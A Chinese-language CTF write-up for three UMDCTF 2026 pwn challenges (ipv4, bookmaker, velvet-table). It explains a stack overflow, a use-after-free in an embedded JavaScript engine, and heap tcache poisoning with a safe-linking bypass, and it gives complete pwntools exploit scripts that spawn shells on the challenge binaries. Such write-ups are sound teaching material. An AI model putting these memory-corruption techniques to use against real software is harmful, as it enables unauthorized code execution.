UMDCTF 2026 Pwn wp by YHalo

ipv4

image-20260427200752963

这道题是有后门的

image-20260427202102399

调用win()的地方看下

image-20260427202229234

a1不为0.0.0.0,并且要等于100.72.7.67才可以return win

再看下main函数

image-20260427204008154

函数原型显示有点问题,改改

image-20260429102900539

要让程序流执行到check_rine

输入的Source Host和Dest Host是valid就可以

一共4个scanf,最后一个scanf限制了输入大小48个字节

最后传入check_rine的参数是v5

image-20260429105708916

可以发现v5[0]的位置被初始化固定写成0.0.0.0

image-20260429105856831

Desthost碰不到v5[0]

但是调试的时候发现这个payload:b’1.1.1.1’+b’a’*(0x30-len(‘1.1.1.1’))

可以让v5[0]为空,这样就绕过了0.0.0.0的检查

image-20260429141836103

后来查原因,scanf 会自动在字符串末尾加 \x00,我填满了DsetHost后刚好在末尾加\x00就溢出覆盖了v5[0]的头部一点导致破坏了0.0.0.0

但是想要让v5[0]变成100.72.7.67基本不行

只能想办法让SourceHost溢出继续往下覆盖到返回地址retwin,正好SourceHost是scanf(”%s”)没有限制

image-20260429144427297

前面一样是写1.1.1.1,为了绕过地址有效性检查

payload=b’1.1.1.1’+b’a’*(0x68-len(‘1.1.1.1’))+p64(win)

最后需要栈对齐一下

image-20260429141549932

exp

from pwn import *
context(arch='amd64', os='linux',log_level='debug')
#io=process('./ipv4')
io=remote('challs.umdctf.io',30308)
win=0x402F45
ret=0x40101a
payload1=b'1.1.1.1'+b'a'*(0x68-len('1.1.1.1'))+p64(ret)+p64(win)
payload2=b'1.1.1.1'+b'a'*(0x30-len('1.1.1.1'))
log.success(payload1)
io.recvuntil('What is your Source ASN Prefix?')
io.sendline('1.1.1.1')
io.recvuntil('What is your Source Host Address?')
io.sendline(payload1)
io.recvuntil('What is your Destination ASN Prefix?')
io.sendline('1.1.1.1')
io.recvuntil('What is your Destination Host Address?')
io.sendline(payload2)

io.interactive()

bookmaker

    Arch:       amd64-64-little
  RELRO:     Full RELRO
  Stack:     No canary found
  NX:         NX enabled
  PIE:       PIE enabled
  FORTIFY:   Enabled
  SHSTK:     Enabled
  IBT:       Enabled

没有canary

查字符串bin/sh发现后门

image-20260504151932494
image-20260429150714626

这个函数很好认,会打印一条 market resolved YES: %s,然后 fflush(stdout),最后 system(“/bin/sh”)

顺手再看看上面的market resolved NO

image-20260504152442113

查看引用,sub_B980

这里创建了一个0x30的对象结构体,并且把subB390这个函数回调放进去,作为resolver

image-20260504160158823

sub_B390还有一个引用在主函数里

image-20260504221751711
image-20260504221809071

subB890被主函数引用,被映射为mintWire这个脚本层名字

image-20260504160544070

主函数是一个嵌入式js脚本执行终端

image-20260429201659242
image-20260429201722071

main 前半段大块代码只是读脚本

分两种读脚本方法,一个是从文件读JS,另一个是直接从stdin读JS,直到遇到END_MARKET_SCRIPT

中间一段把 C 函数注册成 JS 里的全局方法

主要是两个特殊的构造函数,Ldeger和Wire,独树一帜和其他的注册函数明显不一样

image-20260504163400841

这里看看off_C6D60,里面刚好放了4个字段,view , recycle ,resize ,serial

image-20260504163840619

推测这是一个方法表

重点看下js_Ledger_ctor,做了两次malloc分配,

image-20260504165450830

第一次分配固定大小的ledger对象

第二次给用户可控大小的buf

看看js_help

image-20260504171006940
image-20260504171139137

关键的信息,可以把函数逻辑看到很清楚

重点再看看ledger.view()和ledger.recycle

ledger.view()把:原始地址 ledger->buf,原始长度 ledger->size

直接交给了 JS 包装函数

基于现有 native 内存创建 ArrayBuffer

image-20260504173004845

如果 buf == NULL 或 size == 0,就报错:ledger has no buffer

也就是view() 会把这块 native buffer 直接暴露给 JS

然后是js_ledger_recycle

image-20260504173501289

这里做了free(ledger->buf),但是没有把buf=null,也没有把ledger->size=0

属于很明显的UAF漏洞,free了之后,旧 view 不失效,JS 侧仍然能通过旧 view 读写已释放内存

那基本的利用链就完整了,思路就是制造堆块重叠

Ledger(size)分配一个 native buf

ledger.view()返回一个直接 alias 到 buf JS buffer

ledger.recycle()对 buf 调 free

旧 view 不失效,JS 侧仍然能通过旧 view 读写已释放内存

mintWire()再申请一个 0x30 大小的 Wire 对象,复用这块 freed chunk

view 覆盖到 Wire,旧 view 现在读写的其实是 Wire 结构体,可以通过读sub_B390这个resolver来泄露pie基地址

后续改 Wire 的字段, qword_CC108 正好在&unk_CC120前面 0x18 字节,所以:global_resolver = data_ptr – 0x18

接着把当前 Wire 的目标指针改成 qword_CC108,再把 backdoor地址覆写qword_CC108

最后全局resolver就可以跳到backdoor

exp

from pwn import *

context(arch='amd64',os='linux',log_level='info')
context.binary = ELF("./bookmaker")


js = r"""
function r64(dv, off) {
let v = 0;
let m = 1;
for (let i = 0; i < 8; i++) {
  v += dv.getUint8(off + i) * m;
  m *= 256;
}
return v;
}

function w64(dv, off, v) {
for (let i = 0; i < 8; i++) {
  dv.setUint8(off + i, v & 0xff);
  v = Math.floor(v / 256);
}
}

function ab64(v) {
let b = new ArrayBuffer(8);
let d = new DataView(b);
w64(d, 0, v);
return b;
}

let ledger = new Ledger(48);
let view = ledger.view();
let dv = new DataView(view);
ledger.recycle();

let id = mintWire();

let data_ptr = r64(dv, 0);
let resolver = r64(dv, 24);
let pie = resolver - 0xb390;
let backdoor = pie + 0xb3c0;
let global_resolver = data_ptr - 0x18;

w64(dv, 0, global_resolver);
w64(dv, 8, 8);
wireWrite(id, ab64(backdoor));
settle("owned");
__END_MARKET_SCRIPT__
"""

io = remote("challs.umdctf.io", 30307)
io.send(js.encode())

io.interactive()

velvet-table

    Arch:       amd64-64-little
   RELRO:      Full RELRO
   Stack:      No canary found
   NX:         NX enabled
   PIE:        PIE enabled
   FORTIFY:    Enabled
   SHSTK:      Enabled
   IBT:        Enabled

查看字符串发现bin/sh

顺着找到后门函数

image-20260505162148321

看主函数

基本就是一个堆题菜单

去符号了,先把Seat_table的结构还原出来,再在ida里新建结构体逆一下就可以清晰点

image-20260508152310558

选项2很明显的没有清指针,UAF漏洞

image-20260508194015476

这个idx是输入的saeat于seat_key异或后再经过计算出来的,后面的选项也都是这样

image-20260508210615644

seat_key来源

image-20260508211123090

选项3相当于edit,更新chunk内容,但是这个copy_size给的可以输入非常大,有个开关是cancopy,初始默认值是0

image-20260508195201223

选项4这里相当于show,它只检查了seat_table[idx].ptr,却没有看used,也就是说UAF读成立,只是读出来的是被加密混淆过的信息

image-20260509212317542

secret也来自开头的v54地址混淆

image-20260509212947964

选项6这里给了一个函数调用点,前置条件是count为奇数,而且需要让栈上的v56满足条件才能调用v55()

image-20260511193538734

选项7的作用就是让之前选项3的cancopy的值变成1,开启开关,限制是count要大于6

image-20260508201235949

count的处理在选项2的末尾,size不为256和384这两个特殊值就可以进到cashed_out,cashed_out分支就是让count+1

image-20260511194702497

另外,每次malloc一次也会给count+2

image-20260511222339463

开头这里给出了运行时的栈上局部变量v54地址的混淆,从而可以逆推出secret和seat_key

image-20260508201819211

就能够解密选项4的内容和真正的idx

基本的利用链思路就是,先申请多个chunk让count满足条件,count要大于6的话需要4次malloc,把cancopy开关打开,利用UAF形成堆块投毒,其中需要绕一下safe-linking,让分配落到函数调用点v55()旁边,然后show展示出函数地址,用来算pie基址,接着利用update功能把函数的v55()和v56()一起覆盖了,v55()覆盖成后门地址,v56覆盖成满足条件的guard,最后选项6调用后门函数

看下leak的v54地址附近,+0x20偏移位置就是v55

屏幕截图 2026-05-12 094810

把下一次分配落在v55附近,拿到地址减去1b50偏移刚好算出运行时的pie基地址,顺便还可以调整v56满足调用guard

exp

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal=['cmd.exe','/c','start','wsl.exe','bash','-c']
elf=ELF("velvet-table")
io=process("velvet-table")
io.recvuntil("table marker:")
leak_value=int(io.recvline().strip(),16)
shift=leak_value ^ 0x9AC90307
leak_addr = 0x7FF000000000 | (((leak_value ^ 0x9AC90307) & 0xffffffff) << 4)
log.info("leak_addr: "+hex(leak_addr))
target_addr=leak_addr+0x20
log.success(f"target_addr: {hex(target_addr)}")
secret = (shift ^ 0x5A17C3D9) & 0xffffffff
seat_key = (shift ^ 0x7E) & 0xF

v48= secret<< 32
def seat(idx):
   return((idx-3)&0xf)^seat_key
def malloc(idx, size):
   io.sendlineafter(b"> ",b"1")
   io.sendlineafter(b"seat: ",str(seat(idx)).encode())
   io.sendlineafter(b"size: ",str(size).encode())
def free(idx):
   io.sendlineafter(b"> ",b"2")
   io.sendlineafter(b"seat: ",str(seat(idx)).encode())

def update(idx,data):
   io.sendlineafter(b"> ",b"3")
   io.sendlineafter(b"seat: ",str(seat(idx)).encode())
   io.sendlineafter(b"length: ",str(len(data)).encode())
   io.sendafter(b"data:\n",data)
def show(size,idx):
   n = min(size, 64)
   io.sendlineafter(b"> ",b"4")
   io.sendlineafter(b"seat: ",str(seat(idx)).encode())
   out = io.recvuntil(b"\n\n1)")
   io.unrecv(b"\n\n1)")
   return out[:-4]

def decode_show(data, idx):
   out = bytearray()
   base = (idx * 0x45D9F3B) ^ secret
   for i, b in enumerate(data):
       r = (idx + i) & 7
       x = (base ^ (i * 0x9E37)) & 0xffffffff
       k = (((x << r) | (x >> (32 - r))) & 0xffffffff) & 0xff
       out.append(b ^ k)
   return bytes(out)


def cancopy():
   io.sendlineafter(b"> ",b"7")


malloc(0,0x88)
malloc(1,0x88)
line = io.recvline().strip()
chunk_addr = int(line.split(b": ")[1], 16)
log.success(f"chunk_addr: {hex(chunk_addr)}")
malloc(2,0x88)
malloc(3,0x88)
io.recvuntil(b"reservation confirmed:")
cancopy()
free(0)
free(1)
safe_linking=p64(target_addr^(chunk_addr>>12))
log.success(f"safe_linking: {hex(target_addr^(chunk_addr>>12))}")
update(1,safe_linking)
malloc(4,0x88)
malloc(5,0x88)
gdb.attach(io)
pause()
data=show(0x88,5)
leak=decode_show(data,5)
func = u64(leak[:8])
pie=func-0x1b50
win=pie+0x1b60
guard=v48^win^0x686F7573655F6564
update(5, p64(win)+p64(guard))
free(2)  #count+1
io.sendlineafter(b"> ", b"6")

io.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇